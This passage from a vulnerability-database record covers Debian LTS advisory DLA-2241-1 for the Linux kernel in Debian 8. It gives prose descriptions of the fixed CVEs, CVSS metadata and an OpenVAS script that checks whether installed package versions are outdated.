escalation.\n\nCVE-2019-19768\n\n Tristan Madani reported a race condition in the blktrace debug\n facility that could result in a use-after-free. A local user able\n to trigger removal of block devices could possibly use this to\n cause a denial of service (crash) or for privilege escalation.\n\nCVE-2019-20636\n\n The syzbot tool found that the input subsystem did not fully\n validate keycode changes, which could result in a heap\n out-of-bounds write. A local user permitted to access the device\n node for an input or VT device could possibly use this to cause a\n denial of service (crash or memory corruption) or for privilege\n escalation.\n\nCVE-2020-0009\n\n Jann Horn reported that the Android ashmem driver did not prevent\n read-only files from being memory-mapped and then remapped as\n read-write. However, Android drivers are not enabled in Debian\n kernel configurations.\n\nCVE-2020-0543\n\n Researchers at VU Amsterdam discovered that on some Intel CPUs\n supporting the RDRAND and RDSEED instructions, part of a random\n value generated by these instructions may be used in a later\n speculative execution on any core of the same physical CPU.\n Depending on how these instructions are used by applications, a\n local user or VM guest could use this to obtain sensitive\n information such as cryptographic keys from other users or VMs.\n\n This vulnerability can be mitigated by a microcode update, either\n as part of system firmware (BIOS) or through the intel-microcode\n package in Debian's non-free archive section. This kernel update\n only provides reporting of the vulnerability and the option to\n disable the mitigation if it is not needed.\n\nCVE-2020-1749\n\n Xiumei Mu reported that some network protocols that can run on top\n of IPv6 would bypass the Transformation (XFRM) layer used by\n IPsec, IPcomp/IPcomp6, IPIP, and IPv6 Mobility. This could result\n in disclosure of information over the network, since it would not\n be encrypted or routed according to the system policy.\n\nCVE-2020-2732\n\n Paulo Bonzini discovered that the KVM implementation for Intel\n processors did not properly handle instruction emulation for L2\n guests when nested virtualization is enabled. This could allow an\n L2 guest to cause privilege escalation, denial of service, or\n information leaks in the L1 guest.\n\nCVE-2020-8647, CVE-2020-8649\n\n The Hulk Robot tool found a potential MMIO out-of-bounds access in\n the vgacon driver. A local user permitted to access a virtual\n terminal (/dev/tty1 etc.) on a system using the vgacon driver\n could use this to cause a denial of service (crash or memory\n corruption) or possibly for privilege escalation.\n\nCVE-2020-8648\n\n The syzbot tool found a race condition in the the virtual terminal\n driver, which could result in a use-after-free. A local user\n permitted to access a virtual terminal could use this to cause a\n denial of service (crash or memory corruption) or possibly for\n privilege escalation.\n\nCVE-2020-9383\n\n Jordy Zomer reported an incorrect range check in the floppy driver\n which could lead to a static out-of-bounds access. A local user\n permitted to access a floppy drive could use this to cause a\n denial of service (crash or memory corruption) or possibly for\n privilege escalation.\n\nCVE-2020-10690\n\n It was discovered that the PTP hardware clock subsystem did not\n properly manage device lifetimes. Removing a PTP hardware clock\n from the system while a user process was using it could lead to a\n use-after-free. The security impact of this is unclear.\n\nCVE-2020-10751\n\n Dmitry Vyukov reported that the SELinux subsystem did not properly\n handle validating multiple messages, which could allow a privileged\n attacker to bypass SELinux netlink restrictions.\n\nCVE-2020-10942\n\n It was discovered that the vhost_net driver did not properly\n validate the type of sockets set as back-ends. A local user\n permitted to access /dev/vhost-net could use this to cause a stack\n corruption via crafted system calls, resulting in denial of\n service (crash) or possibly privilege escalation.\n\nCVE-2020-11494\n\n It was discovered that the slcan (serial line CAN) network driver\n did not fully initialise CAN headers for received packets,\n resulting in an information leak from the kernel to user-space or\n over the CAN network.\n\nCVE-2020-11565\n\n Entropy Moe reported that the shared memory filesystem (tmpfs) did\n not correctly handle an "mpol" mount option specifying an empty\n node list, leading to a stack-based out-of-bounds write. If user\n namespaces are enabled, a local user could use this to cause a\n denial of service (crash) or possibly for privilege escalation.\n\nCVE-2020-11608, CVE-2020-11609, CVE-2020-11668\n\n It was discovered that the ov519, stv06xx, and xirlink_cit media\n drivers did not properly validate USB device descriptors. A\n physically present user with a specially constructed USB device\n could use this to cause a denial-of-service (crash) or possibly\n for privilege escalation.\n\nCVE-2020-12114\n\n Piotr Krysiuk discovered a race condition between the umount and\n pivot_root operations in the filesystem core (vfs). A local user\n with the CAP_SYS_ADMIN capability in any user namespace could use\n this to cause a denial of service (crash).\n\nCVE-2020-12464\n\n Kyungtae Kim reported a race condition in the USB core that can\n result in a use-after-free. It is not clear how this can be\n exploited, but it could result in a denial of service (crash or\n memory corruption) or privilege escalation.\n\nCVE-2020-12652\n\n Tom Hatskevich reported a bug in the mptfusion storage drivers.\n An ioctl handler fetched a parameter from user memory twice,\n creating a race condition which could result in incorrect locking\n of internal data structures. A local user permitted to access\n /dev/mptctl could use this to cause a denial of service (crash or\n memory corruption) or for privilege escalation.\n\nCVE-2020-12653\n\n It was discovered that the mwifiex WiFi driver did not\n sufficiently validate scan requests, resulting a potential heap\n buffer overflow. A local user with CAP_NET_ADMIN capability could\n use this to cause a denial of service (crash or memory corruption)\n or possibly for privilege escalation.\n\nCVE-2020-12654\n\n It was discovered that the mwifiex WiFi driver did not\n sufficiently validate WMM parameters received from an access point\n (AP), resulting a potential heap buffer overflow. A malicious AP\n could use this to cause a denial of service (crash or memory\n corruption) or possibly to execute code on a vulnerable system.\n\nCVE-2020-12769\n\n It was discovered that the spi-dw SPI host driver did not properly\n serialise access to its internal state. The security impact of\n this is unclear, and this driver is not included in Debian's\n binary packages.\n\nCVE-2020-12770\n\n It was discovered that the sg (SCSI generic) driver did not\n correctly release internal resources in a particular error case.\n A local user permitted to access an sg device could possibly use\n this to cause a denial of service (resource exhaustion).\n\nCVE-2020-12826\n\n Adam Zabrocki reported a weakness in the signal subsystem's\n permission checks. A parent process can choose an arbitary signal\n for a child process to send when it exits, but if the parent has\n executed a new program then the default SIGCHLD signal is sent. A\n local user permitted to run a program for several days could\n bypass this check, execute a setuid program, and then send an\n arbitrary signal to it. Depending on the setuid programs\n installed, this could have some security impact.\n\nCVE-2020-13143\n\n Kyungtae Kim reported a potential heap out-of-bounds write in\n the USB gadget subsystem. A local user permitted to write to\n the gadget configuration filesystem could use this to cause a\n denial of service (crash or memory corruption) or potentially\n for privilege escalation.\n\nFor Debian 8 "Jessie", these problems have been fixed in version\n3.16.84-1.\n\nWe recommend that you upgrade your linux packages. Binary packages for\nthe EABI ARM (armel) architecture are not yet available, and a separate\nannouncement will be made when they are.\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS\n\n-- \nBen Hutchings - Debian developer, member of kernel, installer and LTS teams\nAttachment:\nsignature.asc\nDescription: This is a digitally signed message part\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-06-09T21:29:32", "type": "debian", "title": "[SECURITY] [DLA 2241-1] linux security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-8839", "CVE-2018-14610", "CVE-2018-14611", "CVE-2018-14612", "CVE-2018-14613", "CVE-2019-19319", "CVE-2019-19447", "CVE-2019-19768", "CVE-2019-20636", "CVE-2019-5108", "CVE-2020-0009", "CVE-2020-0543", "CVE-2020-10690", "CVE-2020-10751", "CVE-2020-10942", "CVE-2020-11494", "CVE-2020-11565", "CVE-2020-11608", "CVE-2020-11609", "CVE-2020-11668", "CVE-2020-12114", "CVE-2020-12464", "CVE-2020-12652", "CVE-2020-12653", "CVE-2020-12654", "CVE-2020-12769", "CVE-2020-12770", "CVE-2020-12826", "CVE-2020-13143", "CVE-2020-1749", "CVE-2020-2732", "CVE-2020-8647", "CVE-2020-8648", "CVE-2020-8649", "CVE-2020-9383"], "modified": "2020-06-09T21:29:32", "id": "DEBIAN:DLA-2241-1:DE3AB", "href": "https://lists.debian.org/debian-lts-announce/2020/06/msg00011.html", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "openvas": [{"lastseen": "2020-06-11T15:55:25", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2020-06-10T00:00:00", "type": "openvas", "title": "Debian LTS: Security Advisory for linux (DLA-2241-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-11494", "CVE-2019-5108", "CVE-2020-8648", "CVE-2020-12770", "CVE-2020-9383", "CVE-2018-14610", "CVE-2015-8839", "CVE-2020-12114", "CVE-2020-12769", "CVE-2020-12826", "CVE-2020-10942", "CVE-2020-11609", "CVE-2019-20636", "CVE-2019-19768", "CVE-2020-0543", "CVE-2020-12464", "CVE-2020-10690", "CVE-2020-0009", "CVE-2020-12654", "CVE-2019-19319", "CVE-2020-12653", "CVE-2020-1749", "CVE-2020-11608", "CVE-2020-11668", "CVE-2020-10751", "CVE-2020-13143", "CVE-2020-11565", "CVE-2018-14612", "CVE-2020-8649", "CVE-2020-12652", "CVE-2019-19447", "CVE-2018-14611", "CVE-2020-8647", "CVE-2020-2732", "CVE-2018-14613"], "modified": "2020-06-10T00:00:00", "id": "OPENVAS:1361412562310892241", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310892241", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Some text descriptions might be excerpted from (a) referenced\n# source(s), and are Copyright (C) by the respective right holder(s).\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.892241\");\n script_version(\"2020-06-10T03:00:51+0000\");\n script_cve_id(\"CVE-2015-8839\", \"CVE-2018-14610\", \"CVE-2018-14611\", \"CVE-2018-14612\", \"CVE-2018-14613\", \"CVE-2019-19319\", \"CVE-2019-19447\", \"CVE-2019-19768\", \"CVE-2019-20636\", \"CVE-2019-5108\", \"CVE-2020-0009\", \"CVE-2020-0543\", \"CVE-2020-10690\", \"CVE-2020-10751\", \"CVE-2020-10942\", \"CVE-2020-11494\", \"CVE-2020-11565\", \"CVE-2020-11608\", \"CVE-2020-11609\", \"CVE-2020-11668\", \"CVE-2020-12114\", \"CVE-2020-12464\", \"CVE-2020-12652\", \"CVE-2020-12653\", \"CVE-2020-12654\", \"CVE-2020-12769\", \"CVE-2020-12770\", \"CVE-2020-12826\", \"CVE-2020-13143\", \"CVE-2020-1749\", \"CVE-2020-2732\", \"CVE-2020-8647\", \"CVE-2020-8648\", \"CVE-2020-8649\", \"CVE-2020-9383\");\n script_tag(name:\"cvss_base\", value:\"7.2\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2020-06-10 03:00:51 +0000 (Wed, 10 Jun 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-06-10 03:00:51 +0000 (Wed, 10 Jun 2020)\");\n script_name(\"Debian LTS: Security Advisory for linux (DLA-2241-1)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB8\");\n\n script_xref(name:\"URL\", value:\"https://lists.debian.org/debian-lts-announce/2020/06/msg00011.html\");\n script_xref(name:\"URL\", value:\"https://security-tracker.debian.org/tracker/DLA-2241-1\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'linux'\n package(s) announced via the DLA-2241-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Several vulnerabilities have been discovered in the Linux kernel that\nmay lead to a privilege escalation, denial of service or information\nleaks.\n\nCVE-2015-8839\n\nA race condition was found in the ext4 filesystem implementation.\nA local user could exploit this to cause a denial of service\n(filesystem corruption).\n\nCVE-2018-14610, CVE-2018-14611, CVE-2018-14612, CVE-2018-14613\n\nWen Xu from SSLab at Gatech reported that crafted Btrfs volumes\ncould trigger a crash (Oops) and/or out-of-bounds memory access.\nAn attacker able to mount such a volume could use this to cause a\ndenial of service or possibly for privilege escalation.\n\nCVE-2019-5108\n\nMitchell Frank of Cisco discovered that when the IEEE 802.11\n(WiFi) stack was used in AP mode with roaming, it would trigger\nroaming for a newly associated station before the station was\nauthenticated. An attacker within range of the AP could use this\nto cause a denial of service, either by filling up a switching\ntable or by redirecting traffic away from other stations.\n\nCVE-2019-19319\n\nJungyeon discovered that a crafted filesystem can cause the ext4\nimplementation to deallocate or reallocate journal blocks. A user\npermitted to mount filesystems could use this to cause a denial of\nservice (crash), or possibly for privilege escalation.\n\nCVE-2019-19447\n\nIt was discovered that the ext4 filesystem driver did not safely\nhandle unlinking of an inode that, due to filesystem corruption,\nalready has a link count of 0. An attacker able to mount\narbitrary ext4 volumes could use this to cause a denial of service\n(memory corruption or crash) or possibly for privilege escalation.\n\nCVE-2019-19768\n\nTristan Madani reported a race condition in the blktrace debug\nfacility that could result in a use-after-free. A local user able\nto trigger removal of block devices could possibly use this to\ncause a denial of service (crash) or for privilege escalation.\n\nCVE-2019-20636\n\nThe syzbot tool found that the input subsystem did not fully\nvalidate keycode changes, which could result in a heap\nout-of-bounds write. A local user permitted to access the device\nnode for an input or VT device could possibly use this to cause a\ndenial of service (crash or memory corruption) or for privilege\nescalation.\n\nCVE-2020-0009\n\nJann Horn reported that the Android ashmem driver did not prevent\nread-only files from being memory-mapped and then remapped as\nread-write. However, Android drivers are not enabled in Debian\nkernel configurations.\n\nCVE-2020-0543\n\nResearchers at VU Amsterdam discovered that on some Intel CPUs\nsupporting the RDRAND and RDSEED instructions, part of a random\nvalue generated by these instructions may be use ...\n\n Description truncated. Please see the references for more information.\");\n\n script_tag(name:\"affected\", value:\"'linux' package(s) on Debian Linux.\");\n\n script_tag(name:\"solution\", value:\"For Debian 8 'Jessie', these problems have been fixed in version\n3.16.84-1.\n\nWe recommend that you upgrade your linux packages. Binary packages for\nthe EABI ARM (armel) architecture are not yet available, and a separate\nannouncement will be made when they are.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif(!isnull(res = isdpkgvuln(pkg:\"linux-compiler-gcc-4.8-arm\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-compiler-gcc-4.9-x86\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-doc-3.16\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-10-586\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-10-686-pae\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-10-all\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-10-all-amd64\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-10-all-armel\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-10-all-armhf\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-10-all-i386\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-10-amd64\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-10-armmp\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-10-armmp-lpae\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-10-common\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-10-ixp4xx\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-10-kirkwood\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-10-orion5x\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-10-versatile\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-11-586\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-11-686-pae\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-11-all\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-11-all-amd64\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-11-all-armhf\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-11-all-i386\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-11-amd64\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-11-armmp\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-11-armmp-lpae\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-headers-3.16.0-11-common\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-image-3.16.0-10-586\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-image-3.16.0-10-686-pae\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-image-3.16.0-10-686-pae-dbg\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-image-3.16.0-10-amd64\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-image-3.16.0-10-amd64-dbg\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-image-3.16.0-10-armmp\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-image-3.16.0-10-armmp-lpae\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-image-3.16.0-10-ixp4xx\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-image-3.16.0-10-kirkwood\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-image-3.16.0-10-orion5x\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-image-3.16.0-10-versatile\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-image-3.16.0-11-586\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-image-3.16.0-11-686-pae\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-image-3.16.0-11-686-pae-dbg\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-image-3.16.0-11-amd64\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-image-3.16.0-11-amd64-dbg\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-image-3.16.0-11-armmp\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-image-3.16.0-11-armmp-lpae\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-libc-dev\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-manual-3.16\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-source-3.16\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-support-3.16.0-10\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"linux-support-3.16.0-11\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"xen-linux-system-3.16.0-10-amd64\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"xen-linux-system-3.16.0-11-amd64\", ver:\"3.16.84-1\", rls:\"DEB8\"))) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}\n\nexit(0);\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "osv": [{"lastseen": "2022-07-07T04:02:01", "description": "\nSeveral vulnerabilities have been discovered in the Linux kernel that\nmay lead to a privilege escalation, denial of service or information\nleaks.\n\n\n* [CVE-2015-8839](https://security-tracker.debian.org/tracker/CVE-2015-8839)\nA race condition was found in the ext4 filesystem implementation.\n A local user could exploit this to cause a denial of service\n (filesystem corruption).\n* [CVE-2018-14610](https://security-tracker.debian.org/tracker/CVE-2018-14610), [CVE-2018-14611](https://security-tracker.debian.org/tracker/CVE-2018-14611), [CVE-2018-14612](https://security-tracker.debian.org/tracker/CVE-2018-14612), [CVE-2018-14613](https://security-tracker.debian.org/tracker/CVE-2018-14613)\nWen Xu from SSLab at Gatech reported that crafted Btrfs volumes\n could trigger a crash (Oops) and/or out-of-bounds memory access.\n An attacker able to mount such a volume could use this to cause a\n denial of service or possibly for privilege escalation.\n* [CVE-2019-5108](https://security-tracker.debian.org/tracker/CVE-2019-5108)\nMitchell Frank of Cisco discovered that when the IEEE 802.11\n (WiFi) stack was used in AP mode with roaming, it would trigger\n roaming for a newly associated station before the station was\n authenticated. An attacker within range of the AP could use this\n to cause a denial of service, either by filling up a switching\n table or by redirecting traffic away from other stations.\n* [CVE-2019-19319](https://security-tracker.debian.org/tracker/CVE-2019-19319)\nJungyeon discovered that a crafted filesystem can cause the ext4\n implementation to deallocate or reallocate journal blocks. A user\n permitted to mount filesystems could use this to cause a denial of\n service (crash), or possibly for privilege escalation.\n* [CVE-2019-19447](https://security-tracker.debian.org/tracker/CVE-2019-19447)\nIt was discovered that the ext4 filesystem driver did not safely\n handle unlinking of an inode that, due to filesystem corruption,\n already has a link count of 0. An attacker able to mount\n arbitrary ext4 volumes could use this to cause a denial of service\n (memory corruption or crash) or possibly for privilege escalation.\n* [CVE-2019-19768](https://security-tracker.debian.org/tracker/CVE-2019-19768)\nTristan Madani reported a race condition in the blktrace debug\n facility that could result in a use-after-free. A local user able\n to trigger removal of block devices could possibly use this to\n cause a denial of service (crash) or for privilege escalation.\n* [CVE-2019-20636](https://security-tracker.debian.org/tracker/CVE-2019-20636)\nThe syzbot tool found that the input subsystem did not fully\n validate keycode changes, which could result in a heap\n out-of-bounds write. A local user permitted to access the device\n node for an input or VT device could possibly use this to cause a\n denial of service (crash or memory corruption) or for privilege\n escalation.\n* [CVE-2020-0009](https://security-tracker.debian.org/tracker/CVE-2020-0009)\nJann Horn reported that the Android ashmem driver did not prevent\n read-only files from being memory-mapped and then remapped as\n read-write. However, Android drivers are not enabled in Debian\n kernel configurations.\n* [CVE-2020-0543](https://security-tracker.debian.org/tracker/CVE-2020-0543)\nResearchers at VU Amsterdam discovered that on some Intel CPUs\n supporting the RDRAND and RDSEED instructions, part of a random\n value generated by these instructions may be used in a later\n speculative execution on any core of the same physical CPU.\n Depending on how these instructions are used by applications, a\n local user or VM guest could use this to obtain sensitive\n information such as cryptographic keys from other users or VMs.\n\n\nThis vulnerability can be mitigated by a microcode update, either\n as part of system firmware (BIOS) or through the intel-microcode\n package in Debian's non-free archive section. This kernel update\n only provides reporting of the vulnerability and the option to\n disable the mitigation if it is not needed.\n* [CVE-2020-1749](https://security-tracker.debian.org/tracker/CVE-2020-1749)\nXiumei Mu reported that some network protocols that can run on top\n of IPv6 would bypass the Transformation (XFRM) layer used by\n IPsec, IPcomp/IPcomp6, IPIP, and IPv6 Mobility. This could result\n in disclosure of information over the network, since it would not\n be encrypted or routed according to the system policy.\n* [CVE-2020-2732](https://security-tracker.debian.org/tracker/CVE-2020-2732)\nPaulo Bonzini discovered that the KVM implementation for Intel\n processors did not properly handle instruction emulation for L2\n guests when nested virtualization is enabled. This could allow an\n L2 guest to cause privilege escalation, denial of service, or\n information leaks in the L1 guest.\n* [CVE-2020-8647](https://security-tracker.debian.org/tracker/CVE-2020-8647), [CVE-2020-8649](https://security-tracker.debian.org/tracker/CVE-2020-8649)\nThe Hulk Robot tool found a potential MMIO out-of-bounds access in\n the vgacon driver. A local user permitted to access a virtual\n terminal (/dev/tty1 etc.) on a system using the vgacon driver\n could use this to cause a denial of service (crash or memory\n corruption) or possibly for privilege escalation.\n* [CVE-2020-8648](https://security-tracker.debian.org/tracker/CVE-2020-8648)\nThe syzbot tool found a race condition in the the virtual terminal\n driver, which could result in a use-after-free. A local user\n permitted to access a virtual terminal could use this to cause a\n denial of service (crash or memory corruption) or possibly for\n privilege escalation.\n* [CVE-2020-9383](https://security-tracker.debian.org/tracker/CVE-2020-9383)\nJordy Zomer reported an incorrect range check in the floppy driver\n which could lead to a static out-of-bounds access. A local user\n permitted to access a floppy drive could use this to cause a\n denial of service (crash or memory corruption) or possibly for\n privilege escalation.\n* [CVE-2020-10690](https://security-tracker.debian.org/tracker/CVE-2020-10690)\nIt was discovered that the PTP hardware clock subsystem did not\n properly manage device lifetimes. Removing a PTP hardware clock\n from the system while a user process was using it could lead to a\n use-after-free. The security impact of this is unclear.\n* [CVE-2020-10751](https://security-tracker.debian.org/tracker/CVE-2020-10751)\nDmitry Vyukov reported that the SELinux subsystem did not properly\n handle validating multiple messages, which could allow a privileged\n attacker to bypass SELinux netlink restrictions.\n* [CVE-2020-10942](https://security-tracker.debian.org/tracker/CVE-2020-10942)\nIt was discovered that the vhost\\_net driver did not properly\n validate the type of sockets set as back-ends. A local user\n permitted to access /dev/vhost-net could use this to cause a stack\n corruption via crafted system calls, resulting in denial of\n service (crash) or possibly privilege escalation.\n* [CVE-2020-11494](https://security-tracker.debian.org/tracker/CVE-2020-11494)\nIt was discovered that the slcan (serial line CAN) network driver\n did not fully initialise CAN headers for received packets,\n resulting in an information leak from the kernel to user-space or\n over the CAN network.\n* 